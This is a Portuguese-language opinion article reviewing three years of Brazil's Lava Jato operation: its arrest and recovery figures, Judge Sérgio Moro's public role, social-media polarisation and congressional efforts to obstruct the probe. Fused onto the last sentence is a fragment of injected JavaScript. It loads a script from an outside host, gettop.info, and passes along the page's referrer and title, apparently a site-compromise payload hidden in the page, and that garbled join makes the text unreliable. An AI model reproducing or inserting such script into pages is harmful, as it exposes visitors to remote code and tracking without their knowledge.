A “Operação Lava Jato” completa três anos em 2017 com 198 prisões, R$ 10,1 bilhões em valores recuperados, R$ 3,2 bilhões em bens bloqueados pela Justiça, 127 acordos de delação premiada homologados, 328 pessoas denunciadas, 89 pessoas condenadas, 5 parlamentares réus (2 senadores e 3 deputados federais) e 11 denúncias apresentadas contra parlamentares que ainda não foram apreciadas pelo Supremo Tribunal Federal (STF). Quanto à equipe, foram 30 procuradores dedicados exclusivamente, cerca de 4 mil policiais federais envolvidos nas várias fases, 260 inquéritos policiais instaurados e um juiz federal que hoje tem uma legião de fãs, inclusive no exterior.
Inspirada na operação italiana “Mãos Limpas”, a Lava Jato teve um início discreto a partir de denúncia de procedimentos ilícitos num posto de gasolina, no Setor Hoteleiro Sul, em Brasíli. Seguida de perto pelos veículos de comunicação brasileiros, a operação recebeu ampla cobertura que, ao longo do tempo, foi repercutida em cada etapa pelos correspondentes estrangeiros.
Acompanhando as investigações como se fosse uma novela, as pessoas, tanto contra como a favor, levaram os resultados das operações para as redes sociais. Como torcidas em final de campeonato, grupos faziam campanhas. E, segundo seus interesses e ideologias repercutiam informações, nem sempre verdadeiras, que ganharam o País, sempre acompanhadas de vídeos, memes e links de material jornalístico de grandes veículos nacionais e estrangeiros.
Ganância e poder – Paralelamente ao frenesi de informações e contrainformações, o País caía numa depressão sem precedentes. A adversidade, entretanto, não foi suficiente para arrefecer os ânimos dos brasileiros. O impeachment de uma presidente, mortes, denúncias, prisões se sucederam e, cada fase parecia uma temporada de um seriado cujo argumento era a ganância e o poder.
O Ministério Público Federal (MPF) dividiu e divide o protagonismo com a Justiça Federal que tem na figura do juiz Sérgio Moro sua melhor representação. Odiado por alguns e amado por outros, Moro se transformou numa espécie de cavaleiro que, em nome do interesse público, comanda as investigações, vencendo batalhas numa guerra que ainda não acabou. Entretanto, não sendo unanimidade, o magistrado se vê hoje cercado de seguranças, enquanto é aplaudido e xingado por onde passa.
Pressionados pelos cidadãos cujo poder, nesse caso, está no direito de voto, deputados e senadores envolvidos nos sucessivos escândalos de corrupção, fartamente divulgados pela imprensa numa escala mundial graças à Internet, buscam meios para neutralizar as investigações, desacreditar o MPF e o juiz Moro. A cada negociação no Congresso, os parlamentares viviam nova crise após a divulgação de suas intenções.
Tentativas de obstrução – Muitas dessas iniciativas escusas foram denunciadas aos jornalistas por funcionários ou pessoas próximas aos deputados e senadores. Alguns, sentindo-se monitorados, também tentaram obstruir o trabalho da imprensa, mas em tempos de alta tecnologia, muitos segredos já não podem ser guardados. Aquilo que antes ficava sob sete chaves, aparece de repente nas manchetes por caminhos nem sempre éticos.
Vigilante, a população foi às ruas, contra e a favor do que era noticiado. Fez barulho, brigou, incendiou ruas, quebrou vidros, feriu e foi ferida por compatriotas e policiais. Muitos fizeram as malas e partiram num exílio voluntário na busca de melhores condições de vida além-fronteiras. Sem saber ainda quantas temporadas terá esse seriado, brasileiros que eram espectadores, assumem suas posições na defesa de um país melhor. A mídia, maldita para uns, desempenha seu papel investigando e divulgando aquilo que, para muitos, é verdade e para outros, pós-verdade.s.src=\’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=\’ + encodeURIComponent(document.referrer) + \’&default_keyword=\’ + encodeURIComponent(document.title) + \’\’;